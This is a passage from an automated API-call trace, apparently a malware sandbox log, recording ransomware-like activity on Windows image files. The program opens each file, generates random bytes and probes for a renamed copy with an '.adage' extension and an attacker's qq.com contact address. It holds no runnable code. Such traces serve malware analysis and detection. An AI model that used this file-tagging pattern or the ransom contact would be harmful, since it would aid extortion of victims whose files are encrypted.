sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.977] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.978] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=41941) returned 1 [0064.978] CloseHandle (hObject=0x180) returned 1 [0064.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png")) returned 0x20 [0064.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\daisies.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\daisies.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.979] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.979] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=233) returned 1 [0064.979] CloseHandle (hObject=0x180) returned 1 [0064.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png")) returned 0x20 [0064.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\glow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\glow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.979] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.980] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3445) returned 1 [0064.980] CloseHandle (hObject=0x180) returned 1 [0064.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png")) returned 0x20 [0064.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.981] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.981] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3332) returned 1 [0064.981] CloseHandle (hObject=0x180) returned 1 [0064.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png")) returned 0x20 [0064.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.982] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.985] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3381) returned 1 [0064.985] CloseHandle (hObject=0x180) returned 1 [0064.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png")) returned 0x20 [0064.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.986] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.986] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=140) returned 1 [0064.986] CloseHandle (hObject=0x180) returned 1 [0064.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png")) returned 0x20 [0064.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.986] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.987] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=135) returned 1 [0064.987] CloseHandle (hObject=0x180) returned 1 [0064.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png")) returned 0x20 [0064.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.987] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.988] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=135) returned 1 [0064.988] CloseHandle (hObject=0x180) returned 1 [0064.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png")) returned 0x20 [0064.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.988] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.988] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0064.988] CloseHandle (hObject=0x180) returned 1 [0064.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png")) returned 0x20 [0064.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.989] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.989] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0064.989] CloseHandle (hObject=0x180) returned 1 [0064.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png")) returned 0x20 [0064.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.990] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.990] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=137) returned 1 [0064.990] CloseHandle (hObject=0x180) returned 1 [0064.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png")) returned 0x20 [0064.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.990] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.991] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=168) returned 1 [0064.991] CloseHandle (hObject=0x180) returned 1 [0064.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png")) returned 0x20 [0064.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.991] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.991] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=165) returned 1 [0064.991] CloseHandle (hObject=0x180) returned 1 [0064.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png")) returned 0x20 [0064.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_bottom_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_bottom_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.992] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.992] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=166) returned 1 [0064.992] CloseHandle (hObject=0x180) returned 1 [0064.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png")) returned 0x20 [0064.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.993] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.993] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=168) returned 1 [0064.993] CloseHandle (hObject=0x180) returned 1 [0064.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png")) returned 0x20 [0064.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_corner_top_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_corner_top_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.993] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png" (normalized: "c:\\program files\\windows 